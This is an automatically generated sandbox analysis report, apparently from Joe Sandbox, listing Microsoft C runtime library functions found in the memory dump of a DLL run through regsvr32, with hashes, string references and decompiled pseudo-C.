pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696
_wcstombs_l_helper, xrefs: 000007FEF9D3768F

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction ID: 6b038216fd5801b421c61b74e1935d340daef546a177eff3ea16a7a1b838ed42
Opcode Fuzzy Hash: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction Fuzzy Hash: EE112831A08A86D5E7F08B24EC547BE62D0F388355FA0862581DD826E5CF7ED184CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

_fileno, xrefs: 000007FEF9D3B038
(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$_fileno$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c
API String ID: 2123368286-3532421942
Opcode ID: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction ID: a908f33eec800d0b641dcce84a446a4f1bc570cb1104d1739574f535c1af449d
Opcode Fuzzy Hash: 96c485b728b13626416908fd91ead62eaa4a9a456ff5e75182e25aa9e0b6060d
Instruction Fuzzy Hash: 2D115771A2D6468AE7949B54E948B6E73E0F380344F605125F6DD43AA8C7BED508CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37E4E Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D37EF4

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D37EA5, 000007FEF9D37EDF
(dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0), xrefs: 000007FEF9D37E90, 000007FEF9D37EED
_wcstombs_s_l, xrefs: 000007FEF9D37EE6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (dst != NULL && sizeInBytes > 0) || (dst == NULL && sizeInBytes == 0)$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-152112980
Opcode ID: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction ID: 92758ea50bb160a3fa02acdedbd4276cd578df270f1ec03c6948689f63d256e2
Opcode Fuzzy Hash: 12ab011e70e09e91856032674ad216f6478f48f1fa811ad172dce2a736ade8bc
Instruction Fuzzy Hash: B7110331A1CA83C9F7A09B54EC047AEB6E0F340345F604425D6C8466A4CBBEE8888B02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D234D5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D234F9

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

FlsSetValue.KERNEL32 ref: 000007FEF9D23516

Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23EC2
Part of subcall function 000007FEF9D23E30: _unlock.LIBCMTD ref: 000007FEF9D23F1C

GetCurrentThreadId.KERNEL32 ref: 000007FEF9D2352C

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c, xrefs: 000007FEF9D234E2

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock$CurrentThreadValue_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dllcrt0.c
API String ID: 433497747-929597301
Opcode ID: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction ID: a509fa70e7a1a5ff7154c4a485401b757d9bccf253ee3a6eb315a1ba73516cba
Opcode Fuzzy Hash: 659d91e782a8862001f0c3efa2abcda19efd609cd314a8a22f2ba95e8e412daa
Instruction Fuzzy Hash: 25012D21A2C64282F3D09B65EC4473EA2E0F784B50F719275A9DE426F5CF3FE4018A01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3206A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 35COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D320FA

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D320AB, 000007FEF9D320E5
_vsnprintf_helper, xrefs: 000007FEF9D320EC
(count == 0) || (string != NULL), xrefs: 000007FEF9D32096, 000007FEF9D320F3

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (count == 0) || (string != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3131718208
Opcode ID: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction ID: 5c692777b4ebe1842fa8b4633668c7a74dcbf255a9000a4830a35d89f8dfec26
Opcode Fuzzy Hash: 6707a3a661624c28ef46bf525b659d524432ea2cd8b3632390f46d17d0644e77
Instruction Fuzzy Hash: 64113571E086469AF7A08B28ED047BE62E0F344708F608225A7EC076F5D77EE548CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D31FCB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32050

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32001, 000007FEF9D3203B
(format != NULL), xrefs: 000007FEF9D31FEC, 000007FEF9D32049
_vsnprintf_helper, xrefs: 000007FEF9D32042

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (format != NULL)$_vsnprintf_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-1927795013
Opcode ID: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction ID: 0384ac4a385dd8b2ed67f657b87bd2987707cc06f4fd1891b24df9f5e25f1ad6
Opcode Fuzzy Hash: 1d868900bb9e5cb9c38cd3d3fc38e86365b4ebb9b902cb6620b71e05e16b40fa
Instruction Fuzzy Hash: D7010832E0C646D6F7A08B68EC057AD66D0B380354F704225A69C066F9DB7EE585CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25A25 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D25AAA

Strings

pUserData != NULL, xrefs: 000007FEF9D25A46, 000007FEF9D25AA3
_msize_dbg, xrefs: 000007FEF9D25A9C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D25A5B, 000007FEF9D25A95

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _msize_dbg$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pUserData != NULL
API String ID: 2123368286-563024394
Opcode ID: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction ID: fd38c362069ef75f6546e890191a2209ff1da2573c153e25103ddfba7490d183
Opcode Fuzzy Hash: 6b9fa116098faf353e1ca7c3b3c6506904e65b16bd6a9e65c326709190a7893b
Instruction Fuzzy Hash: EA011A3190964A86EBA09F14EC417AE32E0F355328FA14226D29C466E4DB7FE545CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D325F6 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3267B

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D3262C, 000007FEF9D32666
format != NULL, xrefs: 000007FEF9D32617, 000007FEF9D32674
_vsnprintf_s_l, xrefs: 000007FEF9D3266D

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$format != NULL
API String ID: 2123368286-577066449
Opcode ID: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction ID: 02d1b78a9e545c30370c255a3c9a69dd209a03738a12318584891449022be9b6
Opcode Fuzzy Hash: 618b2cf93d4d6d117bb096a419223036f434eaf0351198b3217c601cf8511035
Instruction Fuzzy Hash: 8F017831E0C64ACAF7E08B54EC847AD26E0F794394FB09535A6DD466F8CB7EE5448B01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27490 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,000007FEF9D274F1), ref: 000007FEF9D2749F
GetProcAddress.KERNEL32 ref: 000007FEF9D274BE

Strings

mscoree.dll, xrefs: 000007FEF9D27498
CorExitProcess, xrefs: 000007FEF9D274B2

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction ID: 7d77de13c6c7ff31230b68e177806ee2c45e09dad43843c6dfa61805c8a48305
Opcode Fuzzy Hash: 13d0b91207a4789fb824e3953cfc7806df79015e4e72068d0de0f8a7d22cb74d
Instruction Fuzzy Hash: 97F0AC32918A4282D674DB18F94836DB7F0F388348F644125D6CE42678DF3ED559CA04

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40C80 Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 41%

			E000007FE7FEF9D40C80(signed int __ecx, void* __eflags, void* __rax, void* __r8, signed int _a8) {
				signed long long _v16;
				long _v24;
				void* _t57;
				signed long long _t59;

				_t57 = __rax;
				_a8 = __ecx;
				E000007FE7FEF9D3F900(_a8);
				if (_t57 == 0xffffffff) goto 0xf9d40d05;
				if (_a8 != 1) goto 0xf9d40cb3;
				if (( *( *0xf9d4e560 + 0xb8) & 0x00000001) != 0) goto 0xf9d40ccc;
				if (_a8 != 2) goto 0xf9d40cef;
				_t59 =  *0xf9d4e560;
				if (( *(_t59 + 0x60) & 0x00000001) == 0) goto 0xf9d40cef;
				E000007FE7FEF9D3F900(1);
				_v16 = _t59;
				E000007FE7FEF9D3F900(2);
				if (_v16 == _t59) goto 0xf9d40d05;
				E000007FE7FEF9D3F900(_a8);
				if (CloseHandle(??) == 0) goto 0xf9d40d0f;
				_v24 = 0;
				goto 0xf9d40d19;
				_v24 = GetLastError();
				E000007FE7FEF9D3F7D0(_a8, _t59);
				 *((char*)( *((intOrPtr*)(0xf9d4e560 + _t59 * 8)) + 8 + (_a8 & 0x0000001f) * 0x58)) = 0;
				if (_v24 == 0) goto 0xf9d40d60;
				E000007FE7FEF9D2AA70(_v24,  *((intOrPtr*)(0xf9d4e560 + _t59 * 8)));
				goto 0xf9d40d62;
				return 0;
			}

0x7fef9d40c80
0x7fef9d40c80
0x7fef9d40c8c
0x7fef9d40c95
0x7fef9d40c9c
0x7fef9d40cb1
0x7fef9d40cb8
0x7fef9d40cba
0x7fef9d40cca
0x7fef9d40cd1
0x7fef9d40cd6
0x7fef9d40ce0
0x7fef9d40ced
0x7fef9d40cf3
0x7fef9d40d03
0x7fef9d40d05
0x7fef9d40d0d
0x7fef9d40d15
0x7fef9d40d1d
0x7fef9d40d44
0x7fef9d40d4e
0x7fef9d40d54
0x7fef9d40d5e
0x7fef9d40d66

APIs

Part of subcall function 000007FEF9D3F900: __doserrno.LIBCMTD ref: 000007FEF9D3F913

CloseHandle.KERNEL32 ref: 000007FEF9D40CFB
GetLastError.KERNEL32 ref: 000007FEF9D40D0F
_free_osfhnd.LIBCMTD ref: 000007FEF9D40D1D
_dosmaperr.LIBCMTD ref: 000007FEF9D40D54

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CloseErrorHandleLast__doserrno_dosmaperr_free_osfhnd
String ID:
API String ID: 1551955814-0
Opcode ID: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction ID: de0ed08be9decc95e7dd14c86c95eccfc4319969b2c7c8741dbc19f533f0ba9a
Opcode Fuzzy Hash: 539147ec8a9783b9fa5ff2985af3543efd94603151f732987cc3c022e13e7d90
Instruction Fuzzy Hash: 4A219F32A0C64686E7A49B28EC4133E72E1F781355F348235E6DD46AF9DB2EE845CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D21000 Relevance: 6.0, APIs: 4, Instructions: 47threadtimeCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32 ref: 000007FEF9D2101D
GetDateFormatA.KERNEL32 ref: 000007FEF9D21038
GetThreadLocale.KERNEL32 ref: 000007FEF9D2106F
GetTimeFormatA.KERNEL32 ref: 000007FEF9D2108A

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FormatLocaleThread$DateTime
String ID:
API String ID: 3587784874-0
Opcode ID: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction ID: 0d03bf333fdb9b17262424d59d82d7c7719cce37cb4ba974854027563787c74d
Opcode Fuzzy Hash: 6ab24f3c8d7cd050487db91c395009c2fe45c414da0b1ba1062a45228bb8b770
Instruction Fuzzy Hash: 3311E33160878086E3608F68F94025EB7E0F748BA4F648724EF9D47BA8CB3ED1418700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2A5E0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 23%

			E000007FE7FEF9D2A5E0(long long __rcx, void* _a8) {
				signed int _v24;
				char _v42;
				void* _v48;
				signed int _v56;
				char _v312;
				signed char* _v328;
				char _v584;
				char _v840;
				char _v1352;
				char _v1384;
				char _v1392;
				intOrPtr _v1400;
				long long _v1408;
				long long _v1416;
				signed long long _t206;
				signed char* _t214;
				signed long long _t223;
				intOrPtr _t225;
				intOrPtr _t226;
				signed long long _t233;

				_t224 = __rcx;
				_a8 = __rcx;
				_t206 =  *0xf9d4b018; // 0x6eb881abeeac
				_v24 = _t206 ^ _t233;
				if (GetCPInfo(??, ??) == 0) goto 0xf9d2a906;
				_v56 = 0;
				goto 0xf9d2a63c;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a661;
				 *((char*)(_t233 + _a8 + 0x470)) = _v56 & 0x000000ff;
				goto 0xf9d2a62c;
				_v312 = 0x20;
				_v328 =  &_v42;
				goto 0xf9d2a68f;
				_v328 =  &(_v328[2]);
				if (( *_v328 & 0x000000ff) == 0) goto 0xf9d2a6ea;
				_v56 =  *_v328 & 0x000000ff;
				goto 0xf9d2a6c2;
				_v56 = _v56 + 1;
				_t214 = _v328;
				if (_v56 - ( *(_t214 + 1) & 0x000000ff) > 0) goto 0xf9d2a6e8;
				 *((char*)(_t233 + _t214 + 0x470)) = 0x20;
				goto 0xf9d2a6b2;
				goto 0xf9d2a67b;
				_v1392 = 0;
				_v1400 =  *((intOrPtr*)(_a8 + 0xc));
				_v1408 =  *((intOrPtr*)(_a8 + 4));
				_v1416 =  &_v1352;
				r9d = 0x100;
				E000007FE7FEF9D2F4D0(1,  &_v1352, __rcx,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v840;
				_v1416 = 0x100;
				r8d = 0x100;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_a8 + 0xc)), _a8, _t224,  &_v312);
				_v1384 = 0;
				_v1392 =  *((intOrPtr*)(_a8 + 4));
				_v1400 = 0x100;
				_v1408 =  &_v584;
				_v1416 = 0x100;
				r8d = 0x200;
				_t223 = _a8;
				E000007FE7FEF9D2EF00( *((intOrPtr*)(_t223 + 0xc)), _t223, _t224,  &_v312);
				_v56 = 0;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2a901;
				if (( *(_t233 + 0x60 + _t223 * 2) & 1) == 0) goto 0xf9d2a879;
				_t225 = _a8;
				 *((char*)(_a8 + _t225 + 0x1c)) =  *(_t225 + _t223 + 0x1c) & 0x000000ff | 0x00000010;
				 *((char*)(_a8 + _t225 + 0x11d)) =  *(_t233 + _t223 + 0x260) & 0x000000ff;
				goto 0xf9d2a8fc;
				if (( *(_t233 + 0x60 + _t223 * 2) & 2) == 0) goto 0xf9d2a8e5;
				_t226 = _a8;
				 *((char*)(_a8 + _t226 + 0x1c)) =  *(_t226 + _t223 + 0x1c) & 0x000000ff | 0x00000020;
				 *((char*)(_a8 + _t226 + 0x11d)) =  *(_t233 + _t223 + 0x360) & 0x000000ff;
				goto 0xf9d2a8fc;
				 *((char*)(_a8 + _t223 + 0x11d)) = 0;
				goto L1;
				goto 0xf9d2aa20;
				_v56 = 0;
				_v56 = _v56 + 1;
				_v56 = _v56 + 1;
				if (_v56 - 0x100 >= 0) goto 0xf9d2aa20;
				if (_v56 - 0x41 < 0) goto 0xf9d2a99c;
				if (_v56 - 0x5a > 0) goto 0xf9d2a99c;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000010;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 + 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				if (_v56 - 0x61 < 0) goto 0xf9d2aa04;
				if (_v56 - 0x7a > 0) goto 0xf9d2aa04;
				_v56 = _v56 + 1;
				__rcx = _a8;
				 *(__rcx + __rax + 0x1c) & 0x000000ff =  *(__rcx + __rax + 0x1c) & 0x000000ff | 0x00000020;
				_v56 = _v56 + 1;
				__rdx = _a8;
				 *((char*)(_a8 + __rcx + 0x1c)) = __al;
				_v56 = _v56 - 0x20;
				__ecx = _v56;
				__rdx = _a8;
				 *((char*)(__rdx + __rcx + 0x11d)) = __al;
				goto 0xf9d2aa1b;
				__eax = _v56;
				__rcx = _a8;
				 *((char*)(_a8 + __rax + 0x11d)) = 0;
				goto L2;
				__rcx = _v24;
				__rcx = _v24 ^ __rsp;
				return E000007FE7FEF9D23280(_v56, _v56, __edx, _v24 ^ __rsp, __rdx, __r8);
			}

0x7fef9d2a5e0
0x7fef9d2a5e0
0x7fef9d2a5ec
0x7fef9d2a5f6
0x7fef9d2a619
0x7fef9d2a61f
0x7fef9d2a62a
0x7fef9d2a635
0x7fef9d2a647
0x7fef9d2a658
0x7fef9d2a65f
0x7fef9d2a661
0x7fef9d2a671
0x7fef9d2a679
0x7fef9d2a687
0x7fef9d2a69c
0x7fef9d2a6a9
0x7fef9d2a6b0
0x7fef9d2a6bb
0x7fef9d2a6c2
0x7fef9d2a6d5
0x7fef9d2a6de
0x7fef9d2a6e6
0x7fef9d2a6e8
0x7fef9d2a6ea
0x7fef9d2a6fd
0x7fef9d2a70c
0x7fef9d2a715
0x7fef9d2a71a
0x7fef9d2a72f
0x7fef9d2a734
0x7fef9d2a747
0x7fef9d2a74b
0x7fef9d2a75b
0x7fef9d2a760
0x7fef9d2a770
0x7fef9d2a783
0x7fef9d2a788
0x7fef9d2a79b
0x7fef9d2a79f
0x7fef9d2a7af
0x7fef9d2a7b4
0x7fef9d2a7c4
0x7fef9d2a7ca
0x7fef9d2a7d7
0x7fef9d2a7dc
0x7fef9d2a7f2
0x7fef9d2a804
0x7fef9d2a81b
0x7fef9d2a828
0x7fef9d2a84b
0x7fef9d2a86d
0x7fef9d2a874
0x7fef9d2a88a
0x7fef9d2a897
0x7fef9d2a8ba
0x7fef9d2a8dc
0x7fef9d2a8e3
0x7fef9d2a8f4
0x7fef9d2a8fc
0x7fef9d2a901
0x7fef9d2a906
0x7fef9d2a91a
0x7fef9d2a91c
0x7fef9d2a92e
0x7fef9d2a93c
0x7fef9d2a946
0x7fef9d2a94f
0x7fef9d2a953
0x7fef9d2a960
0x7fef9d2a96a
0x7fef9d2a96e
0x7fef9d2a976
0x7fef9d2a981
0x7fef9d2a984
0x7fef9d2a98b
0x7fef9d2a993
0x7fef9d2a99a
0x7fef9d2a9a4
0x7fef9d2a9ae
0x7fef9d2a9b7
0x7fef9d2a9bb
0x7fef9d2a9c8
0x7fef9d2a9d2
0x7fef9d2a9d6
0x7fef9d2a9de
0x7fef9d2a9e9
0x7fef9d2a9ec
0x7fef9d2a9f3
0x7fef9d2a9fb
0x7fef9d2aa02
0x7fef9d2aa04
0x7fef9d2aa0b
0x7fef9d2aa13
0x7fef9d2aa1b
0x7fef9d2aa20
0x7fef9d2aa28
0x7fef9d2aa37

APIs

GetCPInfo.KERNEL32 ref: 000007FEF9D2A611

Strings

, xrefs: 000007FEF9D2A6DE
z, xrefs: 000007FEF9D2A9A6

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Info
String ID: $z
API String ID: 1807457897-2251613814
Opcode ID: 939841bcdfd8ad812f8c29de7d09562b703ae5a82c5ff0fab969d8d2fb6d5a5e
